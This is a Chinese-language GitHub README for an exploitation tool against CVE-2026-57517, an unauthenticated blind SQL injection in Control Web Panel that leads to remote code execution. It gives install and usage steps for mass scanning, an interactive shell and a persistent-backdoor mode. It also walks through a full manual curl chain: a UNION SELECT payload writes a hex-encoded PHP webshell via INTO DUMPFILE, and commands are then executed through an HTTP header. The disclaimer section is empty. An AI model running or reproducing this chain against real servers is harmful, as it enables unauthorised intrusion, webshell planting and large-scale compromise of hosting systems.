shinthink/CVE-2026-57517

GitHub: shinthink/CVE-2026-57517

针对 Control Web Panel ≤ 0.9.8.1224 的 CVE-2026-57517 未授权盲注 SQL 注入至远程代码执行漏洞的自动化利用工具。

Stars: 0 | Forks: 0

CVE-2026-57517 — Control Web Panel Blind SQLi → RCE

Python CVE CVSS License

Control Web Panel ≤ 0.9.8.1224 — Blind SQL Injection 至远程代码执行

Port 2083 → userRes POST → INTO DUMPFILE → Port 2031 Webshell → cwpsvc


## 🔴 漏洞概述 **CVE-2026-57517** 是存在于 **Control Web Panel (CWP)** 版本 ≤ 0.9.8.1224 中的一个严重的未授权盲注 SQL Injection。用户面板 endpoint 处的 `userRes` POST 参数在嵌入 SQL 查询之前未进行清理。查询以 **MySQL root** 权限执行——该权限拥有全局 `FILE` 权限——允许攻击者通过 `INTO DUMPFILE` 写入任意文件。 典型的漏洞利用链将 PHP webshell 部署到可从 Web 访问的 Roundcube 日志目录中,从而以 `cwpsvc` 服务账户的身份实现远程代码执行。 | 字段 | 详情 | |---|---| | **CVE** | CVE-2026-57517 | | **CVSS** | 9.8 (严重) — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **类型** | CWE-89 — 盲注 SQL Injection (未授权) | | **受影响版本** | Control Web Panel ≤ 0.9.8.1224 | | **修复版本** | 版本 0.9.8.1225 | | **披露时间** | 2026 年 7 月 1 日 | | **研究员** | Egidio Romano (Karma In Security) | | **PoC** | 公开 — [KIS-2026-12](https://karmainsecurity.com/KIS-2026-12) | ## 📦 安装 ``` git clone https://github.com/shinthink/CVE-2026-57517.git cd CVE-2026-57517 pip install -r requirements.txt ``` ## 📖 用法 ``` # 单一目标(自动检测 username) python cve_2026_57517.py -t 192.168.1.100 # 单一目标(已知 username) python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc # Mass scan python cve_2026_57517.py -f targets.txt -o live.txt # 交互式 shell python cve_2026_57517.py -t target.com --rce -u cwpsvc # 持久化 backdoor(无自动清理) python cve_2026_57517.py -t target.com --no-cleanup ``` ``` -t, --target Single target host -f, --file File with targets (one per line) -u, --username CWP username (skips auto-detection) -o, --output Live TXT output file --json JSON report file --threads Concurrent workers (default: 20) --timeout Request timeout seconds (default: 15) --no-cleanup Leave shells on target --rce Interactive shell mode -v, --verbose Verbose output ``` ## 🧪 概念验证 ### 场景一:批量扫描 ``` $ python cve_2026_57517.py -f targets.txt -o live.txt -v ``` ``` ──────────────────────────────────────────────────────────── CVE-2026-57517 | 5 targets | 20 threads Cleanup: yes Live TXT: live.txt ──────────────────────────────────────────────────────────── ✅ 192.168.10.100:2083 [rce_confirmed] 18.2s User : admin Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php RCE : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc) cwp-prod-01.example.com whoami: cwpsvc ⚠️ 192.168.10.200:2083 [sqli_failed] 12.1s User : cwpsvc Error : SQL injection failed — target may be patched or path not writable · 192.168.10.50:2083 [not_cwp] 2.3s ================================================== SCAN SUMMARY ================================================== Total : 5 ✅ RCE : 2 ⚠️ SQLi Fail : 1 🔍 No User : 1 · Not CWP : 1 ================================================== ``` ### 场景二:交互式 Shell ``` $ python cve_2026_57517.py -t target.com --rce -u admin ``` ``` CWP Interactive Shell — target.com Type 'exit' to quit, 'cleanup' to remove shell cwp$ id uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc) cwp$ hostname cwp-prod-01 cwp$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash cwp$ exit ``` ### 场景三:手动复现 (curl) **步骤 1 — 确认可通过 2083 端口访问 CWP** ``` curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP' ``` **步骤 2 — 验证用户名** ``` curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/' # 200 = user 存在 ``` **步骤 3 — 通过 userRes 进行 SQL injection** Payload 使用了包含 13 列的 UNION SELECT,并通过 `INTO DUMPFILE` 写入一个十六进制编码的 PHP shell: ``` " UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' # ``` ``` # 该 tool 自动处理 hex 编码。手动等效操作: PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #' curl -sk 'https://target.com:2083/admin/' \ -d "userRes=$PAYLOAD" ``` **步骤 4 — 通过 webshell 执行命令 (2031 端口)** 部署的 PHP shell 从 `C:` HTTP 标头中读取命令: ``` ``` ``` # Base64 编码:print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___'; PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0) curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP" # uid=1001(cwpsvc) gid=1001(cwpsvc) ``` ### Payload 分解 | 组件 | 值 | |---|---| | **SQL 列数** | 包含 13 列的 UNION SELECT | | **PHP shell** | `` | | **十六进制编码** | MySQL `0x...` 十六进制字面量 | | **写入方法** | `INTO DUMPFILE` (二进制精确文件写入) | | **目标路径** | `/usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php` | | **命令传输** | HTTP 标头 `C:` (包含 base64 编码的 PHP) | | **命令执行器** | `passthru(base64_decode('{cmd}'))` | ## ⚠️ 免责声明 ## 📚 参考 | 资源 | 链接 | |---|---| | Karma In Security 安全公告 | [KIS-2026-12](https://karmainsecurity.com/KIS-2026-12) | | 原始 PoC | [CVE-2026-57517.php](https://karmainsecurity.com/pocs/CVE-2026-57517.php) | | 完整披露 | [SecLists](https://seclists.org/fulldisclosure/2026/Jul/9) | | OpenCVE | [CVE-2026-57517](https://app.opencve.io/cve/CVE-2026-57517) | | CWP 更新日志 | [control-webpanel.com](https://control-webpanel.com/changelog) |

⚡ 专为安全研究与教育而构建 ⚡

本项目与 Control Web Panel 或 Apache 软件基金会无关。

标签:CISA项目, Python, Web安全, 无后门, 服务器控制面板, 编程工具, 蓝队分析, 远程代码执行, 逆向工具